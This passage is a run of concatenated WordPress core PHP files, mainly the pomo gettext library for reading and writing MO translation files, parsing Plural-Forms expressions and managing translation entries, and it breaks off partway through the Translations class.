 * 'title'       string      For preferred/alternate stylesheets.
 * 'path'        string      The absolute path to a stylesheet. Stylesheet will
 *                           load inline when 'path' is set.
 *
 * @see WP_Dependencies::add_data()
 *
 * @since 3.6.0
 * @since 5.8.0 Added 'path' as an official value for $key.
 *              See {@see wp_maybe_inline_styles()}.
 *
 * @param string $handle Name of the stylesheet.
 * @param string $key    Name of data point for which we're storing a value.
 *                       Accepts 'conditional', 'rtl' and 'suffix', 'alt', 'title' and 'path'.
 * @param mixed  $value  String containing the CSS data to be added.
 * @return bool True on success, false on failure.
 */
function wp_style_add_data( $handle, $key, $value ) {
	return wp_styles()->add_data( $handle, $key, $value );
}
<?php

/**
 * The SMTP class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.
 */
_deprecated_file(
	basename( __FILE__ ),
	'5.5.0',
	WPINC . '/PHPMailer/SMTP.php',
	__( 'The SMTP class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.' )
);

require_once __DIR__ . '/PHPMailer/SMTP.php';

class_alias( PHPMailer\PHPMailer\SMTP::class, 'SMTP' );
<?php
/**
 * Classes, which help reading streams of data from files.
 * Based on the classes from Danilo Segan <danilo@kvota.net>
 *
 * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage streams
 */

if ( ! class_exists( 'POMO_Reader', false ) ) :
	#[AllowDynamicProperties]
	class POMO_Reader {

		public $endian = 'little';
		public $_pos;
		public $is_overloaded;

		/**
		 * PHP5 constructor.
		 */
		public function __construct() {
			if ( function_exists( 'mb_substr' )
				&& ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			) {
				$this->is_overloaded = true;
			} else {
				$this->is_overloaded = false;
			}

			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_Reader::__construct()
		 */
		public function POMO_Reader() {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct();
		}

		/**
		 * Sets the endianness of the file.
		 *
		 * @param string $endian Set the endianness of the file. Accepts 'big', or 'little'.
		 */
		public function setEndian( $endian ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
			$this->endian = $endian;
		}

		/**
		 * Reads a 32bit Integer from the Stream
		 *
		 * @return mixed The integer, corresponding to the next 32 bits from
		 *  the stream of false if there are not enough bytes or on error
		 */
		public function readint32() {
			$bytes = $this->read( 4 );
			if ( 4 !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			$int           = unpack( $endian_letter, $bytes );
			return reset( $int );
		}

		/**
		 * Reads an array of 32-bit Integers from the Stream
		 *
		 * @param int $count How many elements should be read
		 * @return mixed Array of integers or false if there isn't
		 *  enough data or on error
		 */
		public function readint32array( $count ) {
			$bytes = $this->read( 4 * $count );
			if ( 4 * $count !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			return unpack( $endian_letter . $count, $bytes );
		}

		/**
		 * @param string $input_string
		 * @param int    $start
		 * @param int    $length
		 * @return string
		 */
		public function substr( $input_string, $start, $length ) {
			if ( $this->is_overloaded ) {
				return mb_substr( $input_string, $start, $length, 'ascii' );
			} else {
				return substr( $input_string, $start, $length );
			}
		}

		/**
		 * @param string $input_string
		 * @return int
		 */
		public function strlen( $input_string ) {
			if ( $this->is_overloaded ) {
				return mb_strlen( $input_string, 'ascii' );
			} else {
				return strlen( $input_string );
			}
		}

		/**
		 * @param string $input_string
		 * @param int    $chunk_size
		 * @return array
		 */
		public function str_split( $input_string, $chunk_size ) {
			if ( ! function_exists( 'str_split' ) ) {
				$length = $this->strlen( $input_string );
				$out    = array();
				for ( $i = 0; $i < $length; $i += $chunk_size ) {
					$out[] = $this->substr( $input_string, $i, $chunk_size );
				}
				return $out;
			} else {
				return str_split( $input_string, $chunk_size );
			}
		}

		/**
		 * @return int
		 */
		public function pos() {
			return $this->_pos;
		}

		/**
		 * @return true
		 */
		public function is_resource() {
			return true;
		}

		/**
		 * @return true
		 */
		public function close() {
			return true;
		}
	}
endif;

if ( ! class_exists( 'POMO_FileReader', false ) ) :
	class POMO_FileReader extends POMO_Reader {

		/**
		 * File pointer resource.
		 *
		 * @var resource|false
		 */
		public $_f;

		/**
		 * @param string $filename
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_f = fopen( $filename, 'rb' );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_FileReader::__construct()
		 */
		public function POMO_FileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}

		/**
		 * @param int $bytes
		 * @return string|false Returns read string, otherwise false.
		 */
		public function read( $bytes ) {
			return fread( $this->_f, $bytes );
		}

		/**
		 * @param int $pos
		 * @return bool
		 */
		public function seekto( $pos ) {
			if ( -1 === fseek( $this->_f, $pos, SEEK_SET ) ) {
				return false;
			}
			$this->_pos = $pos;
			return true;
		}

		/**
		 * @return bool
		 */
		public function is_resource() {
			return is_resource( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function feof() {
			return feof( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function close() {
			return fclose( $this->_f );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return stream_get_contents( $this->_f );
		}
	}
endif;

if ( ! class_exists( 'POMO_StringReader', false ) ) :
	/**
	 * Provides file-like methods for manipulating a string instead
	 * of a physical file.
	 */
	class POMO_StringReader extends POMO_Reader {

		public $_str = '';

		/**
		 * PHP5 constructor.
		 */
		public function __construct( $str = '' ) {
			parent::__construct();
			$this->_str = $str;
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_StringReader::__construct()
		 */
		public function POMO_StringReader( $str = '' ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $str );
		}

		/**
		 * @param string $bytes
		 * @return string
		 */
		public function read( $bytes ) {
			$data        = $this->substr( $this->_str, $this->_pos, $bytes );
			$this->_pos += $bytes;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $data;
		}

		/**
		 * @param int $pos
		 * @return int
		 */
		public function seekto( $pos ) {
			$this->_pos = $pos;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $this->_pos;
		}

		/**
		 * @return int
		 */
		public function length() {
			return $this->strlen( $this->_str );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return $this->substr( $this->_str, $this->_pos, $this->strlen( $this->_str ) );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedFileReader extends POMO_StringReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_str = file_get_contents( $filename );
			if ( false === $this->_str ) {
				return false;
			}
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedFileReader::__construct()
		 */
		public function POMO_CachedFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedIntFileReader extends POMO_CachedFileReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct( $filename );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedIntFileReader::__construct()
		 */
		public function POMO_CachedIntFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;
<?php
/**
 * Class for working with MO files
 *
 * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage mo
 */

require_once __DIR__ . '/translations.php';
require_once __DIR__ . '/streams.php';

if ( ! class_exists( 'MO', false ) ) :
	class MO extends Gettext_Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 */
		public $_nplurals = 2;

		/**
		 * Loaded MO file.
		 *
		 * @var string
		 */
		private $filename = '';

		/**
		 * Returns the loaded MO file.
		 *
		 * @return string The loaded MO file.
		 */
		public function get_filename() {
			return $this->filename;
		}

		/**
		 * Fills up with the entries from MO file $filename
		 *
		 * @param string $filename MO file to load
		 * @return bool True if the import from file was successful, otherwise false.
		 */
		public function import_from_file( $filename ) {
			$reader = new POMO_FileReader( $filename );

			if ( ! $reader->is_resource() ) {
				return false;
			}

			$this->filename = (string) $filename;

			return $this->import_from_reader( $reader );
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		public function export_to_file( $filename ) {
			$fh = fopen( $filename, 'wb' );
			if ( ! $fh ) {
				return false;
			}
			$res = $this->export_to_file_handle( $fh );
			fclose( $fh );
			return $res;
		}

		/**
		 * @return string|false
		 */
		public function export() {
			$tmp_fh = fopen( 'php://temp', 'r+' );
			if ( ! $tmp_fh ) {
				return false;
			}
			$this->export_to_file_handle( $tmp_fh );
			rewind( $tmp_fh );
			return stream_get_contents( $tmp_fh );
		}

		/**
		 * @param Translation_Entry $entry
		 * @return bool
		 */
		public function is_entry_good_for_export( $entry ) {
			if ( empty( $entry->translations ) ) {
				return false;
			}

			if ( ! array_filter( $entry->translations ) ) {
				return false;
			}

			return true;
		}

		/**
		 * @param resource $fh
		 * @return true
		 */
		public function export_to_file_handle( $fh ) {
			$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
			ksort( $entries );
			$magic                     = 0x950412de;
			$revision                  = 0;
			$total                     = count( $entries ) + 1; // All the headers are one entry.
			$originals_lengths_addr    = 28;
			$translations_lengths_addr = $originals_lengths_addr + 8 * $total;
			$size_of_hash              = 0;
			$hash_addr                 = $translations_lengths_addr + 8 * $total;
			$current_addr              = $hash_addr;
			fwrite(
				$fh,
				pack(
					'V*',
					$magic,
					$revision,
					$total,
					$originals_lengths_addr,
					$translations_lengths_addr,
					$size_of_hash,
					$hash_addr
				)
			);
			fseek( $fh, $originals_lengths_addr );

			// Headers' msgid is an empty string.
			fwrite( $fh, pack( 'VV', 0, $current_addr ) );
			++$current_addr;
			$originals_table = "\0";

			$reader = new POMO_Reader();

			foreach ( $entries as $entry ) {
				$originals_table .= $this->export_original( $entry ) . "\0";
				$length           = $reader->strlen( $this->export_original( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1; // Account for the NULL byte after.
			}

			$exported_headers = $this->export_headers();
			fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) );
			$current_addr      += strlen( $exported_headers ) + 1;
			$translations_table = $exported_headers . "\0";

			foreach ( $entries as $entry ) {
				$translations_table .= $this->export_translations( $entry ) . "\0";
				$length              = $reader->strlen( $this->export_translations( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1;
			}

			fwrite( $fh, $originals_table );
			fwrite( $fh, $translations_table );
			return true;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_original( $entry ) {
			// TODO: Warnings for control characters.
			$exported = $entry->singular;
			if ( $entry->is_plural ) {
				$exported .= "\0" . $entry->plural;
			}
			if ( $entry->context ) {
				$exported = $entry->context . "\4" . $exported;
			}
			return $exported;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_translations( $entry ) {
			// TODO: Warnings for control characters.
			return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0];
		}

		/**
		 * @return string
		 */
		public function export_headers() {
			$exported = '';
			foreach ( $this->headers as $header => $value ) {
				$exported .= "$header: $value\n";
			}
			return $exported;
		}

		/**
		 * @param int $magic
		 * @return string|false
		 */
		public function get_byteorder( $magic ) {
			// The magic is 0x950412de.

			// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
			$magic_little    = (int) - 1794895138;
			$magic_little_64 = (int) 2500072158;
			// 0xde120495
			$magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF;
			if ( $magic_little === $magic || $magic_little_64 === $magic ) {
				return 'little';
			} elseif ( $magic_big === $magic ) {
				return 'big';
			} else {
				return false;
			}
		}

		/**
		 * @param POMO_FileReader $reader
		 * @return bool True if the import was successful, otherwise false.
		 */
		public function import_from_reader( $reader ) {
			$endian_string = MO::get_byteorder( $reader->readint32() );
			if ( false === $endian_string ) {
				return false;
			}
			$reader->setEndian( $endian_string );

			$endian = ( 'big' === $endian_string ) ? 'N' : 'V';

			$header = $reader->read( 24 );
			if ( $reader->strlen( $header ) !== 24 ) {
				return false;
			}

			// Parse header.
			$header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header );
			if ( ! is_array( $header ) ) {
				return false;
			}

			// Support revision 0 of MO format specs, only.
			if ( 0 !== $header['revision'] ) {
				return false;
			}

			// Seek to data blocks.
			$reader->seekto( $header['originals_lengths_addr'] );

			// Read originals' indices.
			$originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr'];
			if ( $originals_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$originals = $reader->read( $originals_lengths_length );
			if ( $reader->strlen( $originals ) !== $originals_lengths_length ) {
				return false;
			}

			// Read translations' indices.
			$translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr'];
			if ( $translations_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$translations = $reader->read( $translations_lengths_length );
			if ( $reader->strlen( $translations ) !== $translations_lengths_length ) {
				return false;
			}

			// Transform raw data into set of indices.
			$originals    = $reader->str_split( $originals, 8 );
			$translations = $reader->str_split( $translations, 8 );

			// Skip hash table.
			$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;

			$reader->seekto( $strings_addr );

			$strings = $reader->read_all();
			$reader->close();

			for ( $i = 0; $i < $header['total']; $i++ ) {
				$o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] );
				$t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] );
				if ( ! $o || ! $t ) {
					return false;
				}

				// Adjust offset due to reading strings to separate space before.
				$o['pos'] -= $strings_addr;
				$t['pos'] -= $strings_addr;

				$original    = $reader->substr( $strings, $o['pos'], $o['length'] );
				$translation = $reader->substr( $strings, $t['pos'], $t['length'] );

				if ( '' === $original ) {
					$this->set_headers( $this->make_headers( $translation ) );
				} else {
					$entry                          = &$this->make_entry( $original, $translation );
					$this->entries[ $entry->key() ] = &$entry;
				}
			}
			return true;
		}

		/**
		 * Build a Translation_Entry from original string and translation strings,
		 * found in a MO file
		 *
		 * @static
		 * @param string $original original string to translate from MO file. Might contain
		 *  0x04 as context separator or 0x00 as singular/plural separator
		 * @param string $translation translation string from MO file. Might contain
		 *  0x00 as a plural translations separator
		 * @return Translation_Entry Entry instance.
		 */
		public function &make_entry( $original, $translation ) {
			$entry = new Translation_Entry();
			// Look for context, separated by \4.
			$parts = explode( "\4", $original );
			if ( isset( $parts[1] ) ) {
				$original       = $parts[1];
				$entry->context = $parts[0];
			}
			// Look for plural original.
			$parts           = explode( "\0", $original );
			$entry->singular = $parts[0];
			if ( isset( $parts[1] ) ) {
				$entry->is_plural = true;
				$entry->plural    = $parts[1];
			}
			// Plural translations are also separated by \0.
			$entry->translations = explode( "\0", $translation );
			return $entry;
		}

		/**
		 * @param int $count
		 * @return string
		 */
		public function select_plural_form( $count ) {
			return $this->gettext_select_plural_form( $count );
		}

		/**
		 * @return int
		 */
		public function get_plural_forms_count() {
			return $this->_nplurals;
		}
	}
endif;
<?php

/**
 * A gettext Plural-Forms parser.
 *
 * @since 4.9.0
 */
if ( ! class_exists( 'Plural_Forms', false ) ) :
	#[AllowDynamicProperties]
	class Plural_Forms {
		/**
		 * Operator characters.
		 *
		 * @since 4.9.0
		 * @var string OP_CHARS Operator characters.
		 */
		const OP_CHARS = '|&><!=%?:';

		/**
		 * Valid number characters.
		 *
		 * @since 4.9.0
		 * @var string NUM_CHARS Valid number characters.
		 */
		const NUM_CHARS = '0123456789';

		/**
		 * Operator precedence.
		 *
		 * Operator precedence from highest to lowest. Higher numbers indicate
		 * higher precedence, and are executed first.
		 *
		 * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
		 *
		 * @since 4.9.0
		 * @var array $op_precedence Operator precedence from highest to lowest.
		 */
		protected static $op_precedence = array(
			'%'  => 6,

			'<'  => 5,
			'<=' => 5,
			'>'  => 5,
			'>=' => 5,

			'==' => 4,
			'!=' => 4,

			'&&' => 3,

			'||' => 2,

			'?:' => 1,
			'?'  => 1,

			'('  => 0,
			')'  => 0,
		);

		/**
		 * Tokens generated from the string.
		 *
		 * @since 4.9.0
		 * @var array $tokens List of tokens.
		 */
		protected $tokens = array();

		/**
		 * Cache for repeated calls to the function.
		 *
		 * @since 4.9.0
		 * @var array $cache Map of $n => $result
		 */
		protected $cache = array();

		/**
		 * Constructor.
		 *
		 * @since 4.9.0
		 *
		 * @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
		 */
		public function __construct( $str ) {
			$this->parse( $str );
		}

		/**
		 * Parse a Plural-Forms string into tokens.
		 *
		 * Uses the shunting-yard algorithm to convert the string to Reverse Polish
		 * Notation tokens.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If there is a syntax or parsing error with the string.
		 *
		 * @param string $str String to parse.
		 */
		protected function parse( $str ) {
			$pos = 0;
			$len = strlen( $str );

			// Convert infix operators to postfix using the shunting-yard algorithm.
			$output = array();
			$stack  = array();
			while ( $pos < $len ) {
				$next = substr( $str, $pos, 1 );

				switch ( $next ) {
					// Ignore whitespace.
					case ' ':
					case "\t":
						++$pos;
						break;

					// Variable (n).
					case 'n':
						$output[] = array( 'var' );
						++$pos;
						break;

					// Parentheses.
					case '(':
						$stack[] = $next;
						++$pos;
						break;

					case ')':
						$found = false;
						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];
							if ( '(' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								continue;
							}

							// Discard open paren.
							array_pop( $stack );
							$found = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Mismatched parentheses' );
						}

						++$pos;
						break;

					// Operators.
					case '|':
					case '&':
					case '>':
					case '<':
					case '!':
					case '=':
					case '%':
					case '?':
						$end_operator = strspn( $str, self::OP_CHARS, $pos );
						$operator     = substr( $str, $pos, $end_operator );
						if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
							throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
						}

						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];

							// Ternary is right-associative in C.
							if ( '?:' === $operator || '?' === $operator ) {
								if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
									break;
								}
							} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
								break;
							}

							$output[] = array( 'op', array_pop( $stack ) );
						}
						$stack[] = $operator;

						$pos += $end_operator;
						break;

					// Ternary "else".
					case ':':
						$found = false;
						$s_pos = count( $stack ) - 1;
						while ( $s_pos >= 0 ) {
							$o2 = $stack[ $s_pos ];
							if ( '?' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								--$s_pos;
								continue;
							}

							// Replace.
							$stack[ $s_pos ] = '?:';
							$found           = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Missing starting "?" ternary operator' );
						}
						++$pos;
						break;

					// Default - number or invalid.
					default:
						if ( $next >= '0' && $next <= '9' ) {
							$span     = strspn( $str, self::NUM_CHARS, $pos );
							$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
							$pos     += $span;
							break;
						}

						throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
				}
			}

			while ( ! empty( $stack ) ) {
				$o2 = array_pop( $stack );
				if ( '(' === $o2 || ')' === $o2 ) {
					throw new Exception( 'Mismatched parentheses' );
				}

				$output[] = array( 'op', $o2 );
			}

			$this->tokens = $output;
		}

		/**
		 * Get the plural form for a number.
		 *
		 * Caches the value for repeated calls.
		 *
		 * @since 4.9.0
		 *
		 * @param int $num Number to get plural form for.
		 * @return int Plural form value.
		 */
		public function get( $num ) {
			if ( isset( $this->cache[ $num ] ) ) {
				return $this->cache[ $num ];
			}
			$this->cache[ $num ] = $this->execute( $num );
			return $this->cache[ $num ];
		}

		/**
		 * Execute the plural form function.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If the plural form value cannot be calculated.
		 *
		 * @param int $n Variable "n" to substitute.
		 * @return int Plural form value.
		 */
		public function execute( $n ) {
			$stack = array();
			$i     = 0;
			$total = count( $this->tokens );
			while ( $i < $total ) {
				$next = $this->tokens[ $i ];
				++$i;
				if ( 'var' === $next[0] ) {
					$stack[] = $n;
					continue;
				} elseif ( 'value' === $next[0] ) {
					$stack[] = $next[1];
					continue;
				}

				// Only operators left.
				switch ( $next[1] ) {
					case '%':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 % $v2;
						break;

					case '||':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 || $v2;
						break;

					case '&&':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 && $v2;
						break;

					case '<':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 < $v2;
						break;

					case '<=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 <= $v2;
						break;

					case '>':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 > $v2;
						break;

					case '>=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 >= $v2;
						break;

					case '!=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 != $v2;
						break;

					case '==':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 == $v2;
						break;

					case '?:':
						$v3      = array_pop( $stack );
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 ? $v2 : $v3;
						break;

					default:
						throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
				}
			}

			if ( count( $stack ) !== 1 ) {
				throw new Exception( 'Too many values remaining on the stack' );
			}

			return (int) $stack[0];
		}
	}
endif;
<?php
/**
 * Contains Translation_Entry class
 *
 * @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage entry
 */

if ( ! class_exists( 'Translation_Entry', false ) ) :
	/**
	 * Translation_Entry class encapsulates a translatable string.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class Translation_Entry {

		/**
		 * Whether the entry contains a string and its plural form, default is false.
		 *
		 * @var bool
		 */
		public $is_plural = false;

		public $context             = null;
		public $singular            = null;
		public $plural              = null;
		public $translations        = array();
		public $translator_comments = '';
		public $extracted_comments  = '';
		public $references          = array();
		public $flags               = array();

		/**
		 * @param array $args {
		 *     Arguments array, supports the following keys:
		 *
		 *     @type string $singular            The string to translate, if omitted an
		 *                                       empty entry will be created.
		 *     @type string $plural              The plural form of the string, setting
		 *                                       this will set `$is_plural` to true.
		 *     @type array  $translations        Translations of the string and possibly
		 *                                       its plural forms.
		 *     @type string $context             A string differentiating two equal strings
		 *                                       used in different contexts.
		 *     @type string $translator_comments Comments left by translators.
		 *     @type string $extracted_comments  Comments left by developers.
		 *     @type array  $references          Places in the code this string is used, in
		 *                                       relative_to_root_path/file.php:linenum form.
		 *     @type array  $flags               Flags like php-format.
		 * }
		 */
		public function __construct( $args = array() ) {
			// If no singular -- empty object.
			if ( ! isset( $args['singular'] ) ) {
				return;
			}
			// Get member variable values from args hash.
			foreach ( $args as $varname => $value ) {
				$this->$varname = $value;
			}
			if ( isset( $args['plural'] ) && $args['plural'] ) {
				$this->is_plural = true;
			}
			if ( ! is_array( $this->translations ) ) {
				$this->translations = array();
			}
			if ( ! is_array( $this->references ) ) {
				$this->references = array();
			}
			if ( ! is_array( $this->flags ) ) {
				$this->flags = array();
			}
		}

		/**
		 * PHP4 constructor.
		 *
		 * @since 2.8.0
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see Translation_Entry::__construct()
		 */
		public function Translation_Entry( $args = array() ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $args );
		}

		/**
		 * Generates a unique key for this entry.
		 *
		 * @since 2.8.0
		 *
		 * @return string|false The key or false if the entry is null.
		 */
		public function key() {
			if ( null === $this->singular ) {
				return false;
			}

			// Prepend context and EOT, like in MO files.
			$key = ! $this->context ? $this->singular : $this->context . "\4" . $this->singular;
			// Standardize on \n line endings.
			$key = str_replace( array( "\r\n", "\r" ), "\n", $key );

			return $key;
		}

		/**
		 * Merges another translation entry with the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $other Other translation entry.
		 */
		public function merge_with( &$other ) {
			$this->flags      = array_unique( array_merge( $this->flags, $other->flags ) );
			$this->references = array_unique( array_merge( $this->references, $other->references ) );
			if ( $this->extracted_comments !== $other->extracted_comments ) {
				$this->extracted_comments .= $other->extracted_comments;
			}
		}
	}
endif;
<?php
/**
 * Class for a set of entries for translation and their associated headers
 *
 * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage translations
 * @since 2.8.0
 */

require_once __DIR__ . '/plural-forms.php';
require_once __DIR__ . '/entry.php';

if ( ! class_exists( 'Translations', false ) ) :
	/**
	 * Translations class.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		/**
		 * Adds an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			$this->entries[ $key ] = &$entry;
			return true;
		}

		/**
		 * Adds or merges an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry_or_merge( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			if ( isset( $this->entries[ $key ] ) ) {
				$this->entries[ $key ]->merge_with( $entry );
			} else {
				$this->entries[ $key ] = &$entry;
			}
			return true;
		}

		/**
		 * Sets $header PO header to $value
		 *
		 * If the header already exists, it will be overwritten
		 *
		 * TODO: this should be out of this class, it is gettext specific
		 *
		 * @since 2.8.0
		 *
		 * @param string $header header name, without trailing :
		 * @param string $value header value, without trailing \n
		 */
		public function set_header( $header, $value ) {
			$this->headers[ $header ] = $value;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers Associative array of headers.
		 */
		public function set_headers( $headers ) {
			foreach ( $headers as $header => $value ) {
				$this->set_header( $header, $value );
			}
		}

		/**
		 * Returns a given translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return string|false Header if it exists, false otherwise.
		 */
		public function get_header( $header ) {
			return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry Translation entry.
		 * @return Translation_Entry|false Translation entry if it exists, false otherwise.
		 */
		public function translate_entry( &$entry ) {
			$key = $entry->key();
			return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 * @return string
		 */
		public function translate( $singular, $context = null ) {
			$entry      = new Translation_Entry(
				array(
					'singular' => $singular,
					'context'  => $context,
				)
			);
			$translated = $this->translate_entry( $entry );
			return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular;
		}

		/**
		 * Given the number of items, returns the 0-based index of the plural form to use
		 *
		 * Here, in the base Translations class, the common logic for English is implemented:
		 *  0 if there is one element, 1 otherwise
		 *
		 * This function should be overridden by the subclasses. For example MO/PO can derive the logic
		 * from their headers.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Number of items.
		 * @return int Plural form to use.
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int Plural forms count.
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
